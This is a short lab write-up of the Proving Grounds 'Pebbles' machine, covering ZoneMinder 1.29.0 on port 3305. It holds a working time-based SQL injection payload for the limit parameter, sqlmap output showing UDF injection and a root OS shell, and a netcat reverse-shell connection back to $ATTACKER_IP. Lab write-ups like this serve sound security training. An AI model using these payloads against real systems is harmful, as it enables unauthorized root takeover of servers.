Pebbles Writeup - Proving Grounds
Created October 7, 2026 • Last updated October 7, 2026 • 2 min read
Pebbles runs ZoneMinder v1.29.0 under a hidden path on port 3305. That version has a SQL injection in the limit POST parameter, and the database runs as root with a DBA account, so sqlmap's --os-shell injects a UDF and executes commands as root directly.
Reconnaissance
Nmap
Scan all TCP ports and fingerprint the services.
PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 3305/tcp open http 8080/tcp open http-proxy
Explain command
| -p- | Scan all 65535 TCP ports. |
| -sCV | Run the default scripts and probe service versions. |
The web app on port 3305 serves a default Apache page. Brute force its directories.
Directory discovery
Enumerate directories.
+ http://$TARGET_IP:3305/cgi-bin/ (CODE:403) ==> DIRECTORY: http://$TARGET_IP:3305/zm/
The /zm/ path is a ZoneMinder console, version 1.29.0, which is vulnerable to a SQL injection in the limit POST variable (Exploit-DB 41239).
Exploitation
ZoneMinder SQL injection
Capture the monitor log request in Burp and confirm the injection with a time-based payload.
view=request&request=log&task=query&limit=100;(SELECT * FROM (SELECT(SLEEP(5)))OQkj)#&minTime=1466674406.084434
The five-second delay confirms the injection. The database runs as root with a DBA user, so sqlmap can inject a user-defined function and open an OS shell as root.
Parameter: limit (POST)
Type: stacked queries
Payload: ...limit=100;SELECT SLEEP(5)#
[*] current user is DBA: root@localhost
[*] creating UDF 'sys_exec' from the binary UDF file
[*] calling Linux OS shell.
os-shell> whoami
command standard output: 'root'
Explain command
| -r | Load the saved HTTP request to inject into. |
| --os-shell | Drop an interactive OS command shell via a MySQL UDF. |
The os-shell runs as root. Upgrade it to a full reverse shell by hosting a netcat binary, downloading it, and connecting back.
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] id uid=0(root) gid=0(root) groups=0(root)
Explain command
| -lvnp | Listen, verbose, no DNS resolution, on the given port. |
The database runs as root, so the UDF command execution is already root. No separate privilege escalation is required.
Related
References
-
ZoneMinder SQL injection in the limit parameter leading to database and OS compromise.